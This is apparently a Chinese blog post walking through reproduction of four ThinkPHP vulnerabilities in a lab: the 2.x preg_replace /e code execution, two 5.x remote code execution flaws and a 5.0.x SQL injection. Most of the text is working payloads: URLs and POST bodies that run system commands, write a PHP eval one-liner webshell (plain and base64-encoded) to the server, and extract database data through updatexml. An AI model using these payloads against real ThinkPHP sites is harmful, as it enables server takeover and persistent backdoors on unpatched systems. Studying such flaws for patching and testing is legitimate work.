大家好,我是小城,一个刚刚起步的学渣,笨鸟先飞,可惜我领悟得太晚。但从现在开始,我会努力加油进取变强!
thinkphp 2-rce
0x01 漏洞原理
ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
preg_replace(‘正则规则’,‘替换字符’,‘目标字符’)
如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。
e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。
implode( d e p r , depr, depr,paths)作用就是把路径当作参数放进了数组$depr里面
0x02 漏洞影响版本
Thinkphp 2.x, Thinkphp 3.0版本(Lite模式)
0x03 漏洞复现
可见靶场已经搭建成功。
构造payload:http://192.168.71.141:8080/?s=/Index/index/L/${@phpinfo()}
写入一句话木马:
http://192.168.71.141:8080/?s=/Index/index/name/${@print%28eval%28$_POST[1]%29%29}
用蚁剑连接,成功getshell
5.0.23远程代码执行
0x01 漏洞原理
攻击者可向缓存文件内写入PHP代码,导致远程代码执行。虽然该漏洞利用需要有几个前提条件,但鉴于国内使用ThinkPHP框架的站点数量之多,该漏洞还是存在一定的影响范围。由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。
0x02 漏洞影响版本
5.x < 5.1.31, <= 5.0.23
0x03 漏洞复现
可利用得位置:
/index.php?s=captcha
用hackbar写入以下payload
POST data为:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
可以看到,我们输入的参数在前端页面显示了出来。完美执行,
接下来我们写入一句话木马试试看能不能getshell。
此时需要特别注意的是,在linux中,以$开头的将会被当成参数去除掉,所以我们需要在 $前面加上个\。
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php @eval(\$_POST[1])?>" >> test.php
成功getshell。
其实还有另一种方式,就是将一句话木马的内容构造成base64加密写入payload中,payload如下:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "PD9waHAgQGV2YWwoJF9QT1NUWzEyM10pPz4="|base64 -d >> 123.php
5-rce
0x01 漏洞原理
ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
0x02 漏洞影响版本
THINKPHP 5.0.5-5.0.22
THINKPHP 5.1.0-5.1.30
0x03 漏洞复现
可利用点:
http://192.168.71.141:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=%27123%27
vars[0]用来接收函数名,vars[1][]用来接收参数
如:
index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=%27123%27
会在屏幕上打出123和我们输入的字符串长度
写入一句话木马getshell
使用file_put_contents函数写入shell:
vars[0]=system&vars[1][]=echo%20"<?php%20@eval(\$_POST[1]);%20?>">>test.php
也是成功getshell!
In-sqlinjection-rce
0x01 漏洞原理
在 Builder 类的 parseData 方法中,由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
0x02 漏洞影响版本
5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5
0x03 漏洞复现
利用位置
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1